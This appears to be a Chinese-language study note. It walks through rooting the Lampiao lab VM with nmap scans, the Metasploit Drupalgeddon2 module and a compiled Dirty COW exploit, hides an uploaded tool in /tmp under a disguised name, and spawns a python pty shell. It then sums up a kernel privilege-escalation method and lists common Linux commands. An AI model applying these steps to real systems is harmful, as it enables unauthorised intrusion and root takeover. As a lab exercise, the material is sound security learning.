目录
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
1.复现Lampiao提权案例
已知受害主机和kali在同一网段下,查看kali的IP
使用nmap进行网段扫描
nmap 192.168.159.0/24
发现除了主机的IP外,还有一个疑似主机的ip为192.168.200.137,使用nmap对其进行进一步的全端口深度扫描
nmap -T4 -p 1-65535 192.168.200.137
发现它开启了1898端口,使用firefox访问该服务,通过Wappalyzer插件查看用到的框架,如它含有Drupal,往后我们以此作为突破点。
kali自带msf,使用命令启动msf
msfconsole
在里面搜索前面提到的框架并使用该模块
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
用show options查看需要配置的参数,发现需要重新配置的有rhosts和rport:
填写受害机的ip,同时端口设置为刚才扫描出的已开启的端口1898,然后使用run连接,看到meterpreter就表示连接成功了。
在这里可以使用一些命令查看主机的信息,如主机的内核信息为14.04.1-Ubuntu。
下载提权辅助工具linux-exploit-suggester-master,并上传到受害主机,为了保证上传的隐蔽性,选择上传到tmp目录下,并更名为hh.sh,命令如下:
upload /root/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/hh.sh
找到漏洞dirtycow
GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware. 找 CVE-2016-5195,下载zip,上传为ggbond
编译g++ -Wall -pedantic -O2 -std=c++11 -pthread -o ggbond ggbond.cpp -lutil
赋权限执行ggbond
调用terminal:python -c 'import pty; pty.spawn("/bin/bash")'
切换至root用户
发现flag
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
2.1 内网信息收集
确定攻击目标:使用工具如nmap扫描内网存活的主机,确定潜在的攻击目标。
收集目标系统信息:通过nmap或其他扫描工具收集目标系统的详细信息,包括操作系统版本、内核版本、开放端口、运行的服务、已安装的软件等。
2.2 漏洞搜索与验证
查找已知漏洞:根据收集到的系统信息,在漏洞数据库(如Exploit-DB、CVE Details等)中搜索对应的已知漏洞。
验证漏洞存在性:使用工具msfconsole的search和exploit模块来验证漏洞是否存在于目标系统上。
2.3 漏洞利用
下载EXP:从GitHub、Exploit-DB等网站下载针对该漏洞的EXP(漏洞利用代码)。
编译EXP(如果必要):有些EXP需要编译后才能使用,使用gcc或其他编译器进行编译。
执行EXP:在目标系统上执行编译好的EXP,尝试利用漏洞获取更高的权限。
2.4 权限提升
检查提权结果:执行EXP后,检查是否成功获得了更高的权限,如root权限。
稳定shell:如果获得了shell,但不稳定或不方便使用,可以使用如python -c 'import pty; pty.spawn("/bin/bash")'的命令来切换到更稳定的shell。
3.总结Linux常用命令,10个以上
3.1 文件管理
目录操作
cd
:切换目录。
pwd
:显示当前目录的完整路径。
ls
:列出目录内容,常用选项有-l
(长格式显示)、-a
(显示所有文件,包括隐藏文件)等。
mkdir
:创建目录,-p
选项可以创建多级目录。
rmdir
:删除空目录。
rm
:删除文件或目录,-r
选项递归删除目录及其内容,-f
选项强制删除。
文件操作
touch
:创建空文件或修改文件时间戳。
cp
:复制文件或目录,-r
选项递归复制目录。
mv
:移动或重命名文件。
ln
:创建链接文件,-s
选项创建软链接(符号链接)。
find
:在目录树中搜索文件,支持多种条件匹配。
grep
:在文件中搜索匹配的行。
文件内容查看
cat
:查看文件内容,常结合重定向和管道使用。
more
/less
:分页显示文件内容,less
支持更多交互功能。
head
/tail
:查看文件的开始几行或最后几行。
tailf
:实时跟踪文件的新增内容。
3.2 系统操作
系统信息
uname
:显示系统信息。
uptime
:显示系统运行时间及负载。
free
:查看系统内存使用情况。
df
:报告文件系统的磁盘空间使用情况。
du
:统计目录或文件的磁盘空间占用情况。
进程管理
ps
:显示当前系统中的进程状态。
top
:实时显示系统中各个进程的资源占用情况。
kill
:发送信号给进程,常用来终止进程。
pgrep
/pkill
:根据名称查找进程并发送信号。
关机与重启
shutdown
:安全关闭系统。
reboot
:重启系统。
3.3 用户与权限管理
用户管理
useradd
/adduser
:添加新用户。
userdel
:删除用户。
passwd
:修改用户密码。
id
:显示用户ID信息。
组管理
groupadd
:添加新组。
groupdel
:删除组。
groups
:显示当前用户所属的组。
权限管理
chown
:改变文件或目录的拥有者。
chgrp
:改变文件或目录的所属组。
chmod
:改变文件或目录的权限。
3.4 网络管理
网络配置
ifconfig
/ip addr
:查看或配置网络接口信息。
netstat
/ss
:查看网络状态,如端口监听情况。
ping
:测试网络连接。
traceroute
:追踪数据包到达目标主机所经过的路径。
远程访问
ssh
:安全地远程登录服务器。
scp
:远程复制文件。
3.5 压缩与备份
压缩与解压缩
gzip
/gunzip
:压缩或解压缩文件。
bzip2
/bunzip2
:另一种压缩率更高的压缩工具。
zip
/unzip
:打包和压缩文件,支持跨平台。
tar
:打包工具,常与gzip、bzip2结合使用进行压缩。
备份
rsync
:文件同步和备份工具,支持增量备份。
dump
/restore
:Linux传统的备份和恢复工具,但现在较少使用。
3.6 其他常用命令
帮助与文档
man
:查看命令的手册页。
info
:另一种查看命令帮助信息的方式,信息更详尽。
--help
:大多数命令都支持的选项,用于快速查看命令的基本用法。
文本处理
awk
:强大的文本处理工具,支持模式匹配和数据处理。
sed
:流编辑器,用于文本的查找、替换、删除等操作。
cut
/sort
/uniq
:分别用于文本字段的提取、排序和去重。
系统维护
crontab
:设置周期性被执行的任务。
df
/du
:查看磁盘使用情况。
fsck
:检查和修复文件系统。